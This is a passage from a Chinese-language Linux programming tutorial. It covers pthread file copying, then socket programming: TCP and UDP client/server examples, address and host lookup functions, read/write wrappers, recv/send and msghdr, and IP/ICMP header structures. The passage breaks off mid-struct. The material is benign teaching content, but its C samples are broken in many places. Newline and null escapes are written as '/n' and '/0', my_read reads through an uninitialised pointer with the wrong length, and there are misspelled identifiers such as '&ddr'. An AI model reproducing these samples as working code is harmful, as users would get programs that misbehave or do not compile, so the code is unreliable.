struct copy_file *file;
int byte_copy,*byte_copy_p,num,i,j;
char filename[BUFFER];
struct dirent **namelist;
struct stat filestat;
/* 得到當前路徑下面所有的文件(包含目錄)的個數 */
if((num=scandir(".",&namelist,0,alphasort))<0)
{
fprintf(stderr,"Get File Num Error:%s/n/a",strerror(errno));
exit(1);
}
/* 給線程分配空間,其實沒有必要這么多的 */
if(((thread=(pthread_t *)malloc(sizeof(pthread_t)*num))==NULL)||
((file=(struct copy_file *)malloc(sizeof(struct copy_file)*num))==NULL)
)
{
fprintf(stderr,"Out Of Memory!/n/a");
exit(1);
}

for(i=0,j=0;i<num;i++)
{
memset(filename,'/0',BUFFER);
strcpy(filename,namelist[i]->d_name);
if(stat(filename,&filestat)==-1)
{
fprintf(stderr,"Get File Information:%s/n/a",strerror(errno));
exit(1);
}
/* 我們忽略目錄 */
if(!S_ISREG(filestat.st_mode))continue;
if((file[j].infile=open(filename,O_RDONLY))<0)
{
fprintf(stderr,"Open %s Error:%s/n/a",filename,strerror(errno));
continue;
}
strcat(filename,".bak");
if((file[j].outfile=open(filename,O_WRONLY|O_CREAT,S_IRUSR|S_IWUSR))
<0)
{
fprintf(stderr,"Creat %s Error:%s/n/a",filename,strerror(errno
));
continue;
}
/* 創建線程,進行文件拷貝 */
if(pthread_create(&thread[j],NULL,copy,(void *)&file[j])!=0)
fprintf(stderr,"Create Thread[%d] Error:%s/n/a",i,strerror(errno));
j++;
}
byte_copy=0;
for(i=0;i<j;i++)
{
/* 等待線程結束 */
if(pthread_join(thread[i],(void **)&byte_copy_p)!=0)
fprintf(stderr,"Thread[%d] Join Error:%s/n/a",
i,strerror(errno));
else
{
if(bytes_copy_p==NULL)continue;
printf("Thread[%d] Copy %d bytes/n/a",i,*byte_copy_p);
byte_copy+=*byte_copy_p;
/* 釋放我們在copy函數里面創建的內存 */
free(byte_copy_p);
}
}
printf("Total Copy Bytes %d/n/a",byte_copy);
free(thread);
free(file);
exit(0);
}
線程的介紹就到這里了,關于線程的其他資料可以查看下面這寫鏈接.
Getting Started With POSIX Threads
The LinuxThreads library
<未完待續>
續前貼

8)Linux程序設計入門--網絡編程

Linux系統的一個主要特點是他的網絡功能非常強大。隨著網絡的日益普及,基于網絡的
應用也將越來越多。 在這個網絡時代,掌握了Linux的網絡編程技術,將令每一個人處
于不敗之地,學習Linux的網絡編程,可以讓我們真正的體會到網絡的魅力。 想成為一
位真正的hacker,必須掌握網絡編程技術。
現在書店里面已經有了許多關于Linux網絡編程方面的書籍,網絡上也有了許多關于
網絡編程方面的教材,大家都可以 去看一看的。在這里我會和大家一起來領會Linux網
絡編程的奧妙,由于我學習Linux的網絡編程也開始不久,所以我下面所說的肯定會有錯
誤的, 還請大家指點出來,在這里我先謝謝大家了。
在這一個章節里面,我會和以前的幾個章節不同,在前面我都是概括的說了一下,
從現在開始我會盡可能的詳細的說明每一個函數及其用法。好了讓我們去領會Linux的偉
大的魅力吧!
開始進入網絡編程



網絡編程(1)

1. Linux網絡知識介紹
1.1 客戶端程序和服務端程序
網絡程序和普通的程序有一個最大的區別是網絡程序是由兩個部分組成的--客戶端和服
務器端.
網絡程序是先有服務器程序啟動,等待客戶端的程序運行并建立連接.一般的來說是服務
端的程序 在一個端口上監聽,直到有一個客戶端的程序發來了請求.
1.2 常用的命令
由于網絡程序是有兩個部分組成,所以在調試的時候比較麻煩,為此我們有必要知道一些
常用的網絡命令
netstat
命令netstat是用來顯示網絡的連接,路由表和接口統計等網絡的信息.netstat有許多的
選項 我們常用的選項是 -an 用來顯示詳細的網絡狀態.至于其它的選項我們可以使用幫
助手冊獲得詳細的情況.
telnet
telnet是一個用來遠程控制的程序,但是我們完全可以用這個程序來調試我們的服務端程
序的. 比如我們的服務器程序在監聽8888端口,我們可以用telnet localhost 8888來查
看服務端的狀況.
1.3 TCP/UDP介紹
TCP(Transfer Control Protocol)傳輸控制協議是一種面向連接的協議,當我們的網絡程
序使用 這個協議的時候,網絡可以保證我們的客戶端和服務端的連接是可靠的,安全的.

UDP(User Datagram Protocol)用戶數據報協議是一種非面向連接的協議,這種協議并不
能保證我們 的網絡程序的連接是可靠的,所以我們現在編寫的程序一般是采用TCP協議的
..

網絡編程(2)

2. 初等網絡函數介紹(TCP)
Linux系統是通過提供套接字(socket)來進行網絡編程的.網絡程序通過socket和其它
幾個函數的調用,會返回一個 通訊的文件描述符,我們可以將這個描述符看成普通的文件
的描述符來操作,這就是linux的設備無關性的 好處.我們可以通過向描述符讀寫操作實
現網絡之間的數據交流.
2.1 socket
int socket(int domain, int type,int protocol)
domain:說明我們網絡程序所在的主機采用的通訊協族(AF_UNIX和AF_INET等). AF_UN
IX只能夠用于單一的Unix系統進程間通信,而AF_INET是針對Internet的,因而可以允許在
遠程 主機之間通信(當我們 man socket時發現 domain可選項是 PF_*而不是AF_*,因為
glibc是posix的實現 所以用PF代替了AF,不過我們都可以使用的).
type:我們網絡程序所采用的通訊協議(SOCK_STREAM,SOCK_DGRAM等) SOCK_STREAM表明
我們用的是TCP協議,這樣會提供按順序的,可靠,雙向,面向連接的比特流. SOCK_DGRAM
表明我們用的是UDP協議,這樣只會提供定長的,不可靠,無連接的通信.
protocol:由于我們指定了type,所以這個地方我們一般只要用0來代替就可以了 sock
et為網絡通訊做基本的準備.成功時返回文件描述符,失敗時返回-1,看errno可知道出錯
的詳細情況.
2.2 bind
int bind(int sockfd, struct sockaddr *my_addr, int addrlen)
sockfd:是由socket調用返回的文件描述符.
addrlen:是sockaddr結構的長度.
my_addr:是一個指向sockaddr的指針. 在<linux/socket.h>中有 sockaddr的定義
struct sockaddr{
unisgned short as_family;
char sa_data[14];
};
不過由于系統的兼容性,我們一般不用這個頭文件,而使用另外一個結構(struct sock
addr_in) 來代替.在<linux/in.h>中有sockaddr_in的定義
struct sockaddr_in{
unsigned short sin_family;
unsigned short int sin_port;
struct in_addr sin_addr;
unsigned char sin_zero[8];
我們主要使用Internet所以sin_family一般為AF_INET,sin_addr設置為INADDR_ANY表
示可以 和任何的主機通信,sin_port是我們要監聽的端口號.sin_zero[8]是用來填充的
.. bind將本地的端口同socket返回的文件描述符捆綁在一起.成功是返回0,失敗的情況和
socket一樣
2.3 listen
int listen(int sockfd,int backlog)
sockfd:是bind后的文件描述符.
backlog:設置請求排隊的最大長度.當有多個客戶端程序和服務端相連時, 使用這個表示
可以介紹的排隊長度. listen函數將bind的文件描述符變為監聽套接字.返回的情況和b
ind一樣.
2.4 accept
int accept(int sockfd, struct sockaddr *addr,int *addrlen)
sockfd:是listen后的文件描述符.
addr,addrlen是用來給客戶端的程序填寫的,服務器端只要傳遞指針就可以了. bind,li
sten和accept是服務器端用的函數,accept調用時,服務器端的程序會一直阻塞到有一個
客戶程序發出了連接. accept成功時返回最后的服務器端的文件描述符,這個時候服務
器端可以向該描述符寫信息了. 失敗時返回-1
2.5 connect
int connect(int sockfd, struct sockaddr * serv_addr,int addrlen)
sockfd:socket返回的文件描述符.
serv_addr:儲存了服務器端的連接信息.其中sin_add是服務端的地址
addrlen:serv_addr的長度
connect函數是客戶端用來同服務端連接的.成功時返回0,sockfd是同服務端通訊的文件
描述符 失敗時返回-1.
2.6 實例
服務器端程序
/******* 服務器程序 (server.c) ************/
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
int main(int argc, char *argv[])
{
int sockfd,new_fd;
struct sockaddr_in server_addr;
struct sockaddr_in client_addr;
int sin_size,portnumber;
char hello[]="Hello! Are You Fine?/n";
if(argc!=2)
{
fprintf(stderr,"Usage:%s portnumber/a/n",argv[0]);
exit(1);
}
if((portnumber=atoi(argv[1]))<0)
{
fprintf(stderr,"Usage:%s portnumber/a/n",argv[0]);
exit(1);
}
/* 服務器端開始建立socket描述符 */
if((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1)
{
fprintf(stderr,"Socket error:%s/n/a",strerror(errno));
exit(1);
}
/* 服務器端填充 sockaddr結構 */
bzero(&server_addr,sizeof(struct sockaddr_in));
server_addr.sin_family=AF_INET;
server_addr.sin_addr.s_addr=htonl(INADDR_ANY);
server_addr.sin_port=htons(portnumber);
/* 捆綁sockfd描述符 */
if(bind(sockfd,(struct sockaddr *)(&server_addr),sizeof(struct sockaddr))==
-1)
{
fprintf(stderr,"Bind error:%s/n/a",strerror(errno));
exit(1);
}
/* 監聽sockfd描述符 */
if(listen(sockfd,5)==-1)
{
fprintf(stderr,"Listen error:%s/n/a",strerror(errno));
exit(1);
}
while(1)
{
/* 服務器阻塞,直到客戶程序建立連接 */
sin_size=sizeof(struct sockaddr_in);
if((new_fd=accept(sockfd,(struct sockaddr *)(&client_addr),&sin_size
))==-1)
{
fprintf(stderr,"Accept error:%s/n/a",strerror(errno));
exit(1);
}
fprintf(stderr,"Server get connection from %s/n",
inet_ntoa(client_addr.sin_addr));
if(write(new_fd,hello,strlen(hello))==-1)
{
fprintf(stderr,"Write Error:%s/n",strerror(errno));
exit(1);
}
/* 這個通訊已經結束 */
close(new_fd);
/* 循環下一個 */
}
close(sockfd);
exit(0);
}
客戶端程序
/******* 客戶端程序 client.c ************/
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
int main(int argc, char *argv[])
{
int sockfd;
char buffer[1024];
struct sockaddr_in server_addr;
struct hostent *host;
int portnumber,nbytes;
if(argc!=3)
{
fprintf(stderr,"Usage:%s hostname portnumber/a/n",argv[0]);
exit(1);
}
if((host=gethostbyname(argv[1]))==NULL)
{
fprintf(stderr,"Gethostname error/n");
exit(1);
}
if((portnumber=atoi(argv[2]))<0)
{
fprintf(stderr,"Usage:%s hostname portnumber/a/n",argv[0]);
exit(1);
}
/* 客戶程序開始建立 sockfd描述符 */
if((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1)
{
fprintf(stderr,"Socket Error:%s/a/n",strerror(errno));
exit(1);
}
/* 客戶程序填充服務端的資料 */
bzero(&server_addr,sizeof(server_addr));
server_addr.sin_family=AF_INET;
server_addr.sin_port=htons(portnumber);
server_addr.sin_addr=*((struct in_addr *)host->h_addr);
/* 客戶程序發起連接請求 */
if(connect(sockfd,(struct sockaddr *)(&server_addr),sizeof(struct sockaddr)
)==-1)
{
fprintf(stderr,"Connect Error:%s/a/n",strerror(errno));
exit(1);
}
/* 連接成功了 */
if((nbytes=read(sockfd,buffer,1024))==-1)
{
fprintf(stderr,"Read Error:%s/n",strerror(errno));
exit(1);
}
buffer[nbytes]='/0';
printf("I have received:%s/n",buffer);
/* 結束通訊 */
close(sockfd);
exit(0);
}
MakeFile
這里我們使用GNU 的make實用程序來編譯. 關于make的詳細說明見 Make 使用介紹
######### Makefile ###########
all:server client
server:server.c
gcc $^ -o $@
client:client.c
gcc $^ -o $@
運行make后會產生兩個程序server(服務器端)和client(客戶端) 先運行./server port
number& (portnumber隨便取一個大于1204且不在/etc/services中出現的號碼 就用888
8好了),然后運行 ./client localhost 8888 看看有什么結果. (你也可以用telnet和n
etstat試一試.) 上面是一個最簡單的網絡程序,不過是不是也有點煩.上面有許多函數我
們還沒有解釋. 我會在下一章進行的詳細的說明.
2.7 總結
總的來說網絡程序是由兩個部分組成的--客戶端和服務器端.它們的建立步驟一般是:
服務器端
socket-->bind-->listen-->accept
客戶端
socket-->connect
--

網絡編程(3)

3. 服務器和客戶機的信息函數
這一章我們來學習轉換和網絡方面的信息函數.
3.1 字節轉換函數
在網絡上面有著許多類型的機器,這些機器在表示數據的字節順序是不同的, 比如i386芯
片是低字節在內存地址的低端,高字節在高端,而alpha芯片卻相反. 為了統一起來,在Li
nux下面,有專門的字節轉換函數.
unsigned long int htonl(unsigned long int hostlong)
unsigned short int htons(unisgned short int hostshort)
unsigned long int ntohl(unsigned long int netlong)
unsigned short int ntohs(unsigned short int netshort)
在這四個轉換函數中,h 代表host, n 代表 network.s 代表short l 代表long 第一個函
數的意義是將本機器上的long數據轉化為網絡上的long. 其他幾個函數的意義也差不多
..
3.2 IP和域名的轉換
在網絡上標志一臺機器可以用IP或者是用域名.那么我們怎么去進行轉換呢?
struct hostent *gethostbyname(const char *hostname)
struct hostent *gethostbyaddr(const char *addr,int len,int type)
在<netdb.h>中有struct hostent的定義
struct hostent{
char *h_name; /* 主機的正式名稱 */
char *h_aliases; /* 主機的別名 */
int h_addrtype; /* 主機的地址類型 AF_INET*/
int h_length; /* 主機的地址長度 對于IP4 是4字節32位*/
char **h_addr_list; /* 主機的IP地址列表 */
}
#define h_addr h_addr_list[0] /* 主機的第一個IP地址*/
gethostbyname可以將機器名(如 linux.yessun.com)轉換為一個結構指針.在這個結構里
面儲存了域名的信息
gethostbyaddr可以將一個32位的IP地址(C0A80001)轉換為結構指針.
這兩個函數失敗時返回NULL 且設置h_errno錯誤變量,調用h_strerror()可以得到詳細的
出錯信息
3.3 字符串的IP和32位的IP轉換.
在網絡上面我們用的IP都是數字加點(192.168.0.1)構成的, 而在struct in_addr結構中
用的是32位的IP, 我們上面那個32位IP(C0A80001)是的192.168.0.1 為了轉換我們可以
使用下面兩個函數
int inet_aton(const char *cp,struct in_addr *inp)
char *inet_ntoa(struct in_addr in)
函數里面 a 代表 ascii n 代表network.第一個函數表示將a.b.c.d的IP轉換為32位的I
P,存儲在 inp指針里面.第二個是將32位IP轉換為a.b.c.d的格式.
3.4 服務信息函數
在網絡程序里面我們有時候需要知道端口.IP和服務信息.這個時候我們可以使用以下幾
個函數
int getsockname(int sockfd,struct sockaddr *localaddr,int *addrlen)
int getpeername(int sockfd,struct sockaddr *peeraddr, int *addrlen)
struct servent *getservbyname(const char *servname,const char *protoname)
struct servent *getservbyport(int port,const char *protoname)
struct servent
{
char *s_name; /* 正式服務名 */
char **s_aliases; /* 別名列表 */
int s_port; /* 端口號 */
char *s_proto; /* 使用的協議 */
}
一般我們很少用這幾個函數.對應客戶端,當我們要得到連接的端口號時在connect調用成
功后使用可得到 系統分配的端口號.對于服務端,我們用INADDR_ANY填充后,為了得到連
接的IP我們可以在accept調用成功后 使用而得到IP地址.
在網絡上有許多的默認端口和服務,比如端口21對ftp80對應WWW.為了得到指定的端口號
的服務 我們可以調用第四個函數,相反為了得到端口號可以調用第三個函數.
3.5 一個例子
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main(int argc ,char **argv)
{
struct sockaddr_in addr;
struct hostent *host;
char **alias;
if(argc<2)
{
fprintf(stderr,"Usage:%s hostname|ip../n/a",argv[0]);
exit(1);
}
argv++;
for(;*argv!=NULL;argv++)
{
/* 這里我們假設是IP*/
if(inet_aton(*argv,&addr.sin_addr)!=0)
{
host=gethostbyaddr((char *)&addr.sin_addr,4,AF_INET);
printf("Address information of Ip %s/n",*argv);
}
else
{
/* 失敗,難道是域名?*/
host=gethostbyname(*argv); printf("Address information

of host %s/n",*argv);
}
if(host==NULL)
{
/* 都不是 ,算了不找了*/
fprintf(stderr,"No address information of %s/n",*arg
v);
continue;
}
printf("Official host name %s/n",host->h_name);
printf("Name aliases:");
for(alias=host->h_aliases;*alias!=NULL;alias++)
printf("%s ,",*alias);
printf("/nIp address:");
for(alias=host->h_addr_list;*alias!=NULL;alias++)
printf("%s ,",inet_ntoa(*(struct in_addr *)(*alias)));
}
}
在這個例子里面,為了判斷用戶輸入的是IP還是域名我們調用了兩個函數,第一次我們假
設輸入的是IP所以調用inet_aton, 失敗的時候,再調用gethostbyname而得到信息.
--

網絡編程(4)

4. 完整的讀寫函數
一旦我們建立了連接,我們的下一步就是進行通信了.在Linux下面把我們前面建立的通道
看成是文件描述符,這樣服務器端和客戶端進行通信時候,只要往文件描述符里面讀寫東
西了. 就象我們往文件讀寫一樣.
4.1 寫函數write
ssize_t write(int fd,const void *buf,size_t nbytes)
write函數將buf中的nbytes字節內容寫入文件描述符fd.成功時返回寫的字節數.失敗時
返回-1. 并設置errno變量. 在網絡程序中,當我們向套接字文件描述符寫時有倆種可能
..
1)write的返回值大于0,表示寫了部分或者是全部的數據.
2)返回的值小于0,此時出現了錯誤.我們要根據錯誤類型來處理.
如果錯誤為EINTR表示在寫的時候出現了中斷錯誤.
如果為EPIPE表示網絡連接出現了問題(對方已經關閉了連接).
為了處理以上的情況,我們自己編寫一個寫函數來處理這幾種情況.
int my_write(int fd,void *buffer,int length)
{
int bytes_left;
int written_bytes;
char *ptr;
ptr=buffer;
bytes_left=length;
while(bytes_left>0)
{
/* 開始寫*/
written_bytes=write(fd,ptr,bytes_left);
if(written_bytes<=0) /* 出錯了*/
{
if(errno==EINTR) /* 中斷錯誤 我們繼續寫*/
written_bytes=0;
else /* 其他錯誤 沒有辦法,只好撤退了*/
return(-1);
}
bytes_left-=written_bytes;
ptr+=written_bytes; /* 從剩下的地方繼續寫 */
}
return(0);
}
4.2 讀函數read
ssize_t read(int fd,void *buf,size_t nbyte) read函數是負責從fd中讀取內容.當讀
成功時,read返回實際所讀的字節數,如果返回的值是0 表示已經讀到文件的結束了,小于
0表示出現了錯誤.如果錯誤為EINTR說明讀是由中斷引起的, 如果是ECONNREST表示網絡
連接出了問題. 和上面一樣,我們也寫一個自己的讀函數.
int my_read(int fd,void *buffer,int length)
{
int bytes_left;
int bytes_read;
char *ptr;
bytes_left=length;
while(bytes_left>0)
{
bytes_read=read(fd,ptr,bytes_read);
if(bytes_read<0)
{
if(errno==EINTR)
bytes_read=0;
else
return(-1);
}
else if(bytes_read==0)
break;
bytes_left-=bytes_read;
ptr+=bytes_read;
}
return(length-bytes_left);
}
4.3 數據的傳遞
有了上面的兩個函數,我們就可以向客戶端或者是服務端傳遞數據了.比如我們要傳遞一
個結構.可以使用如下方式
/* 客戶端向服務端寫 */
struct my_struct my_struct_client;
write(fd,(void *)&my_struct_client,sizeof(struct my_struct);
/* 服務端的讀*/
char buffer[sizeof(struct my_struct)];
struct *my_struct_server;
read(fd,(void *)buffer,sizeof(struct my_struct));
my_struct_server=(struct my_struct *)buffer;
在網絡上傳遞數據時我們一般都是把數據轉化為char類型的數據傳遞.接收的時候也是一
樣的 注意的是我們沒有必要在網絡上傳遞指針(因為傳遞指針是沒有任何意義的,我們必
須傳遞指針所指向的內容)
--

網絡編程(5)

5. 用戶數據報發送
我們前面已經學習網絡程序的一個很大的部分,由這個部分的知識,我們實際上可以寫出
大部分的基于TCP協議的網絡程序了.現在在Linux下的大部分程序都是用我們上面所學的
知識來寫的.我們可以去找一些源程序來參考一下.這一章,我們簡單的學習一下基于UDP
協議的網絡程序.
5.1 兩個常用的函數
int recvfrom(int sockfd,void *buf,int len,unsigned int flags,struct socka
ddr * from int *fromlen)
int sendto(int sockfd,const void *msg,int len,unsigned int flags,struct s
ockaddr *to int tolen)
sockfd,buf,len的意義和read,write一樣,分別表示套接字描述符,發送或接收的緩沖區
及大小.recvfrom負責從sockfd接收數據,如果from不是NULL,那么在from里面存儲了信息
來源的情況,如果對信息的來源不感興趣,可以將from和fromlen設置為NULL.sendto負責
向to發送信息.此時在to里面存儲了收信息方的詳細資料.
5.2 一個實例
/* 服務端程序 server.c */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <errno.h>
#define SERVER_PORT 8888
#define MAX_MSG_SIZE 1024
void udps_respon(int sockfd)
{
struct sockaddr_in addr;
int addrlen,n;
char msg[MAX_MSG_SIZE];
while(1)
{ /* 從網絡上度,寫到網絡上面去 */
n=recvfrom(sockfd,msg,MAX_MSG_SIZE,0,
(struct sockaddr*)&addr,&addrlen);
msg[n]=0;
/* 顯示服務端已經收到了信息 */
fprintf(stdout,"I have received %s",msg);
sendto(sockfd,msg,n,0,(struct sockaddr*)&addr,addrlen);
}
}
int main(void)
{
int sockfd;
struct sockaddr_in addr;
sockfd=socket(AF_INET,SOCK_DGRAM,0);
if(sockfd<0)
{
fprintf(stderr,"Socket Error:%s/n",strerror(errno));
exit(1);
}
bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_addr.s_addr=htonl(INADDR_ANY);
addr.sin_port=htons(SERVER_PORT);
if(bind(sockfd,(struct sockaddr *)&ddr,sizeof(struct sockaddr_in))<0
)
{
fprintf(stderr,"Bind Error:%s/n",strerror(errno));
exit(1);
}
udps_respon(sockfd);
close(sockfd);
}
/* 客戶端程序 */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>
#include <stdio.h>
#include <unistd.h>
#define MAX_BUF_SIZE 1024
void udpc_requ(int sockfd,const struct sockaddr_in *addr,int len)
{
char buffer[MAX_BUF_SIZE];
int n;
while(1)
{ /* 從鍵盤讀入,寫到服務端 */
fgets(buffer,MAX_BUF_SIZE,stdin);
sendto(sockfd,buffer,strlen(buffer),0,addr,len);
bzero(buffer,MAX_BUF_SIZE);
/* 從網絡上讀,寫到屏幕上 */
n=recvfrom(sockfd,buffer,MAX_BUF_SIZE,0,NULL,NULL);
buffer[n]=0;
fputs(buffer,stdout);
}
}
int main(int argc,char **argv)
{
int sockfd,port;
struct sockaddr_in addr;
if(argc!=3)
{
fprintf(stderr,"Usage:%s server_ip server_port/n",argv[0]);
exit(1);
}
if((port=atoi(argv[2]))<0)
{
fprintf(stderr,"Usage:%s server_ip server_port/n",argv[0]);
exit(1);
}
sockfd=socket(AF_INET,SOCK_DGRAM,0);
if(sockfd<0)
{
fprintf(stderr,"Socket Error:%s/n",strerror(errno));
exit(1);
}
/* 填充服務端的資料 */
bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_port=htons(port);
if(inet_aton(argv[1],&addr.sin_addr)<0)
{
fprintf(stderr,"Ip error:%s/n",strerror(errno));
exit(1);
}
udpc_requ(sockfd,&addr,sizeof(struct sockaddr_in));
close(sockfd);
}
########### 編譯文件 Makefile ##########
all:server client
server:server.c
gcc -o server server.c
client:client.c
gcc -o client client.c
clean:
rm -f server
rm -f client
rm -f core
上面的實例如果大家編譯運行的話,會發現一個小問題的. 在我機器上面,我先運行服務
端,然后運行客戶端.在客戶端輸入信息,發送到服務端, 在服務端顯示已經收到信息,但
是客戶端沒有反映.再運行一個客戶端,向服務端發出信息 卻可以得到反應.我想可能是
第一個客戶端已經阻塞了.如果誰知道怎么解決的話,請告訴我,謝謝. 由于UDP協議是不
保證可靠接收數據的要求,所以我們在發送信息的時候,系統并不能夠保證我們發出的信
息都正確無誤的到達目的地.一般的來說我們在編寫網絡程序的時候都是選用TCP協議的
--

網絡編程(6)

6. 高級套接字函數
在前面的幾個部分里面,我們已經學會了怎么樣從網絡上讀寫信息了.前面的一些函數(r
ead,write)是網絡程序里面最基本的函數.也是最原始的通信函數.在這一章里面,我們一
起來學習網絡通信的高級函數.這一章我們學習另外幾個讀寫函數.
6.1 recv和send
recv和send函數提供了和read和write差不多的功能.不過它們提供 了第四個參數來控制
讀寫操作.
int recv(int sockfd,void *buf,int len,int flags)
int send(int sockfd,void *buf,int len,int flags)
前面的三個參數和read,write一樣,第四個參數可以是0或者是以下的組合
_______________________________________________________________
| MSG_DONTROUTE | 不查找路由表 |
| MSG_OOB | 接受或者發送帶外數據 |
| MSG_PEEK | 查看數據,并不從系統緩沖區移走數據 |
| MSG_WAITALL | 等待所有數據 |
|--------------------------------------------------------------|
MSG_DONTROUTE:是send函數使用的標志.這個標志告訴IP協議.目的主機在本地網絡上面
,沒有必要查找路由表.這個標志一般用網絡診斷和路由程序里面.
MSG_OOB:表示可以接收和發送帶外的數據.關于帶外數據我們以后會解釋的.
MSG_PEEK:是recv函數的使用標志,表示只是從系統緩沖區中讀取內容,而不清楚系統緩沖
區的內容.這樣下次讀的時候,仍然是一樣的內容.一般在有多個進程讀寫數據時可以使用
這個標志.
MSG_WAITALL是recv函數的使用標志,表示等到所有的信息到達時才返回.使用這個標志的
時候recv回一直阻塞,直到指定的條件滿足,或者是發生了錯誤. 1)當讀到了指定的字節
時,函數正常返回.返回值等于len 2)當讀到了文件的結尾時,函數正常返回.返回值小于
len 3)當操作發生錯誤時,返回-1,且設置錯誤為相應的錯誤號(errno)
如果flags為0,則和read,write一樣的操作.還有其它的幾個選項,不過我們實際上用的很
少,可以查看 Linux Programmer's Manual得到詳細解釋.
6.2 recvfrom和sendto
這兩個函數一般用在非套接字的網絡程序當中(UDP),我們已經在前面學會了.
6.3 recvmsg和sendmsg
recvmsg和sendmsg可以實現前面所有的讀寫函數的功能.
int recvmsg(int sockfd,struct msghdr *msg,int flags)
int sendmsg(int sockfd,struct msghdr *msg,int flags)
struct msghdr
{
void *msg_name;
int msg_namelen;
struct iovec *msg_iov;
int msg_iovlen;
void *msg_control;
int msg_controllen;
int msg_flags;
}
struct iovec
{
void *iov_base; /* 緩沖區開始的地址 */
size_t iov_len; /* 緩沖區的長度 */
}
msg_name和 msg_namelen當套接字是非面向連接時(UDP),它們存儲接收和發送方的地址
信息.msg_name實際上是一個指向struct sockaddr的指針,msg_name是結構的長度.當套
接字是面向連接時,這兩個值應設為NULL. msg_iov和msg_iovlen指出接受和發送的緩沖
區內容.msg_iov是一個結構指針,msg_iovlen指出這個結構數組的大小. msg_control和
msg_controllen這兩個變量是用來接收和發送控制數據時的 msg_flags指定接受和發送
的操作選項.和recv,send的選項一樣
6.4 套接字的關閉
關閉套接字有兩個函數close和shutdown.用close時和我們關閉文件一樣.
6.5 shutdown
int shutdown(int sockfd,int howto)
TCP連接是雙向的(是可讀寫的),當我們使用close時,會把讀寫通道都關閉,有時侯我們希
望只關閉一個方向,這個時候我們可以使用shutdown.針對不同的howto,系統回采取不同
的關閉方式.
howto=0這個時候系統會關閉讀通道.但是可以繼續往接字描述符寫.
howto=1關閉寫通道,和上面相反,著時候就只可以讀了.
howto=2關閉讀寫通道,和close一樣 在多進程程序里面,如果有幾個子進程共享一個套接
字時,如果我們使用shutdown, 那么所有的子進程都不能夠操作了,這個時候我們只能夠
使用close來關閉子進程的套接字描述符.



網絡編程(7)

7. TCP/IP協議
你也許聽說過TCP/IP協議,那么你知道到底什么是TCP,什么是IP嗎?在這一章里面,我們一
起來學習這個目前網絡上用最廣泛的協議.
7.1 網絡傳輸分層
如果你考過計算機等級考試,那么你就應該已經知道了網絡傳輸分層這個概念.在網絡上
,人們為了傳輸數據時的方便,把網絡的傳輸分為7個層次.分別是:應用層,表示層,會話層
,傳輸層,網絡層,數據鏈路層和物理層.分好了層以后,傳輸數據時,上一層如果要數據的
話,就可以直接向下一層要了,而不必要管數據傳輸的細節.下一層也只向它的上一層提供
數據,而不要去管其它東西了.如果你不想考試,你沒有必要去記這些東西的.只要知道是
分層的,而且各層的作用不同.
7.2 IP協議
IP協議是在網絡層的協議.它主要完成數據包的發送作用. 下面這個表是IP4的數據包格

0 4 8 16 32
--------------------------------------------------
|版本 |首部長度|服務類型| 數據包總長 |
--------------------------------------------------
| 標識 |DF |MF| 碎片偏移 |
--------------------------------------------------
| 生存時間 | 協議 | 首部較驗和 |
------------------------------------------------
| 源IP地址 |
------------------------------------------------
| 目的IP地址 |
-------------------------------------------------
| 選項 |
=================================================
| 數據 |
-------------------------------------------------
下面我們看一看IP的結構定義<netinet/ip.h>
struct ip
{
#if __BYTE_ORDER == __LITTLE_ENDIAN
unsigned int ip_hl:4; /* header length */
unsigned int ip_v:4; /* version */
#endif
#if __BYTE_ORDER == __BIG_ENDIAN
unsigned int ip_v:4; /* version */
unsigned int ip_hl:4; /* header length */
#endif
u_int8_t ip_tos; /* type of service */
u_short ip_len; /* total length */
u_short ip_id; /* identification */
u_short ip_off; /* fragment offset field */
#define IP_RF 0x8000 /* reserved fragment flag */
#define IP_DF 0x4000 /* dont fragment flag */
#define IP_MF 0x2000 /* more fragments flag */
#define IP_OFFMASK 0x1fff /* mask for fragmenting bits */
u_int8_t ip_ttl; /* time to live */
u_int8_t ip_p; /* protocol */
u_short ip_sum; /* checksum */
struct in_addr ip_src, ip_dst; /* source and dest address */
};
ip_vIP協議的版本號,這里是4,現在IPV6已經出來了
ip_hlIP包首部長度,這個值以4字節為單位.IP協議首部的固定長度為20個字節,如果IP包
沒有選項,那么這個值為5.
ip_tos服務類型,說明提供的優先權.
ip_len說明IP數據的長度.以字節為單位.
ip_id標識這個IP數據包.
ip_off碎片偏移,這和上面ID一起用來重組碎片的.
ip_ttl生存時間.沒經過一個路由的時候減一,直到為0時被拋棄.
ip_p協議,表示創建這個IP數據包的高層協議.如TCP,UDP協議.
ip_sum首部校驗和,提供對首部數據的校驗.
ip_src,ip_dst發送者和接收者的IP地址
關于IP協議的詳細情況,請參考 RFC791
7.3 ICMP協議
ICMP是消息控制協議,也處于網絡層.在網絡上傳遞IP數據包時,如果發生了錯誤,那么就
會用ICMP協議來報告錯誤.
ICMP包的結構如下:
0 8 16 32
---------------------------------------------------------------------
| 類型 | 代碼 | 校驗和 |
--------------------------------------------------------------------
| 數據 | 數據 |
--------------------------------------------------------------------
ICMP在<netinet/ip_icmp.h>中的定義是
struct icmphdr
{
u_int8_t type; /* message type */
u_int8_t code; /* type sub-code */
u_int16_t checksum;
union
{
struct
{
u_int16_t id;
u_int16_t sequence;
} echo; /* echo datagram */
u_int32_t gateway; /* gateway address */
struct
{
u_int16_t __unused;
u_int16_t mtu;
} frag; /* path mtu discovery */
} un;
};
關于ICMP協議的詳細情況可以查看 RFC792
7.4 UDP協議
UDP協議是建立在IP協議基礎之上的,用在傳輸層的協議.UDP和IP協議一樣是不可靠的數
據報服務.UDP的頭格式為:
0 16 32
---------------------------------------------------
| UDP源端口 | UDP目的端口 |
---------------------------------------------------
| UDP數據報長度 | UDP數據報校驗 |
---------------------------------------------------
UDP結構在<netinet/udp.h>中的定義為:
struct udphdr {
